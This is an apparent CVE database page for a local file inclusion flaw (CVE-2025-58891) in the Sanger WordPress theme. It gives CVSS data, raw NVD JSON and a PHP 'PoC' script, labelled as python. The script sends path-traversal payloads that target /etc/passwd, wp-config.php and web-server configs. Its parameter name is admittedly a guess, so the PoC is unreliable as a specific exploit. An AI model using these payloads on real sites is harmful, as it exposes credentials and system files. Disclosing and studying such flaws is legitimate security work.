Security Vulnerability Report
中文
CVE-2025-58891 CVSS 8.1 HIGH

CVE-2025-58891

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Sanger sanger allows PHP Local File Inclusion.This issue affects Sanger: from n/a through <= 1.24.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:sanger:*:*:*:*:*:wordpress:*:* - VULNERABLE
Sanger Theme <= 1.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58891 - Sanger Theme Local File Inclusion PoC * Affected: Sanger Theme <= 1.24.0 * Type: Local File Inclusion (LFI) * CVSS: 8.1 (High) * * Usage: Modify the target URL and file path, then execute */ // Target configuration $target = 'http://target-site.com'; $theme_path = '/wp-content/themes/sanger/'; // Vulnerable parameter (example - actual parameter name varies) $vulnerable_param = 'file'; // Payloads for testing $payloads = array( // Read system files '../../../../../../../etc/passwd', '../../../../../../../etc/hosts', // Read WordPress config '../../../../../../../wp-config.php', '../../../../../../../wp-config.php.bak', // Read Apache/Nginx config '../../../../../../../etc/apache2/apache2.conf', '../../../../../../../etc/nginx/nginx.conf', // Read PHP info '../../../../../../../phpinfo.php', '../../../../../../../info.php' ); // Function to send exploit request function exploit_lfi($target, $path, $param, $payload) { $url = $target . $path . '?' . $param . '=' . urlencode($payload); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return array('code' => $http_code, 'response' => $response); } // Execute exploits echo "[*] CVE-2025-58891 Sanger Theme LFI Exploit\n"; echo "[*] Target: $target\n\n"; foreach ($payloads as $payload) { echo "[*] Testing payload: $payload\n"; $result = exploit_lfi($target, $theme_path, $vulnerable_param, $payload); if ($result['code'] == 200 && strlen($result['response']) > 0) { echo "[!] Potential file content retrieved:\n"; echo substr($result['response'], 0, 500) . "\n\n"; } } echo "[*] Exploitation complete\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58891", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.290", "lastModified": "2026-04-27T19:16:16.027", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Sanger sanger allows PHP Local File Inclusion.This issue affects Sanger: from n/a through <= 1.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:sanger:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.24.0", "matchCriteriaId": "03F1036B-1900-4F13-B88B-395583FF1D35"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sanger/vulnerability/wordpress-sanger-theme-1-24-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}